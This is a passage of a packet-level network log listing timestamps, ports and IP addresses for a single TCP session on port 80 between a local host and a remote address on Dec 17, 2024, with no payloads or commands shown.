Dec 17, 2024 08:03:10.014014959 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.017467022 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.017540932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.017594099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.017649889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.020984888 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.021049976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.021090031 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.021143913 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.024360895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.024478912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.024478912 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.024539948 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.027740955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.027800083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.027844906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.027898073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.030953884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.030993938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.031013966 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.031044960 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.034143925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.034204006 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.034259081 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.034311056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.037303925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.037363052 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.037420988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.037472963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.040375948 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.040432930 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.040515900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.040570021 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.043437958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.043497086 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.043570042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.043642998 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.046410084 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.046468973 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.046541929 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.046596050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.049458027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.049513102 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.049597979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.049649954 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.052479029 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.052536011 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.052586079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.052647114 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.055496931 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.055556059 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.055602074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.055659056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.058502913 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.058610916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.058613062 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.058669090 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.061553001 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.061613083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.061657906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.061712027 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.064591885 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.064651012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.064965010 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.065017939 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.067675114 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.067732096 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.067776918 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.067830086 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.070688009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.070745945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.070806026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.070862055 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.073606968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.073663950 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.073708057 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.073762894 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.076672077 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.076709032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.076728106 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.076756001 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.079705954 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.079761028 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.079819918 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.079875946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.082685947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.082752943 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.082807064 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.082878113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.085707903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.085767984 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.085815907 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.085881948 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.088752031 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.088813066 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.088886976 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.088992119 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.091847897 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.091903925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.092037916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.092091084 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.094822884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.094878912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.094887018 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.094930887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.097847939 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.097904921 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.097970009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.098026991 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.100828886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.100887060 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.100975990 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.101030111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.103836060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.103894949 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.103898048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.103950977 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.107002974 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.107064962 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.107131958 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.107188940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.109916925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.109982014 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.110054016 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.110110044 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.112907887 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.112965107 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.113039970 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.113091946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.197470903 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.197561026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.197577953 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.197685957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.198456049 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.198513985 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.198930979 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.198982000 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.199035883 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.199089050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.201293945 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.201355934 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.201430082 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.201549053 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.203677893 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.203735113 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.203799963 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.203854084 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.206042051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.206099987 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.206129074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.206187010 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.208353043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.208410025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.208461046 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.208517075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.210656881 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.210716009 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.210794926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.210860014 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.212853909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.212915897 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.212970018 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.213025093 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.215065002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.215121984 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.215178967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.215250969 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.217358112 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.217453003 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.217593908 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.217654943 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.219413996 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.219487906 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.219520092 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.219588995 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.221509933 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.221570015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.221577883 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.221626997 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.223635912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.223692894 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.223710060 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.223751068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.225728989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.225784063 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.225789070 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.225837946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.227706909 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.227797031 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.227838993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.227890015 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.230067968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.230128050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.230173111 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.230237007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.232033968 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.232093096 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.232223988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.232292891 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.233773947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.233839035 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.233896017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.233952045 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.235807896 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.235877991 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.235949993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.236013889 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.237730980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.237802029 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.237852097 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.237907887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.239639997 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.239700079 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.239763021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.239819050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.241669893 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.241724968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.241775036 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.241830111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.243587017 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.243654013 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.243706942 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.243772984 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.245572090 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.245630980 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.245702982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.245759964 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.247379065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.247447014 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.247518063 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.247575998 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.249311924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.249377966 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.249416113 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.249474049 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.251255989 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.251327991 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.251399994 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.251454115 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.253197908 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.253308058 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.253339052 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.253370047 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.255361080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.255398035 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.255445957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.255445957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.257054090 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.257112026 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.257163048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.257219076 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.258981943 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.259038925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.259161949 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.259217024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.260924101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.260987043 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.261043072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.261099100 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.263154030 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.263209105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.263247013 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.263247013 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.264779091 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.264842987 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.264861107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.264911890 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.266716003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.266782045 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.266851902 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.266910076 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.268708944 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.268767118 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.268835068 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.268888950 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.270662069 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.270699978 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.270735025 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.270766973 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.272533894 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.272597075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.272650003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.272706032 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.274472952 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.274580956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.274599075 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.274633884 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.276407003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.276479006 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.276503086 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.276560068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.278320074 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.278378963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.278449059 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.278506994 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.280287027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.280347109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.280533075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.280586958 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.282165051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.282238007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.282300949 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.282352924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.284203053 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.284266949 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.284394026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.284449100 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.286072969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.286132097 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.286197901 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.286250114 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.287991047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.288055897 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.288142920 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.288193941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.289926052 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.289994955 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.290045023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.290101051 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.291835070 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.291891098 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.291975021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.292032957 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.293800116 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.293857098 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.293867111 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.293909073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.295706034 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.295824051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.295835972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.295878887 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.297662973 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.297739029 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.297802925 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.297854900 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.299583912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.299655914 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.299721956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.299771070 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.301512003 CET	80	49822	31.41.244.11	192.168.2.5
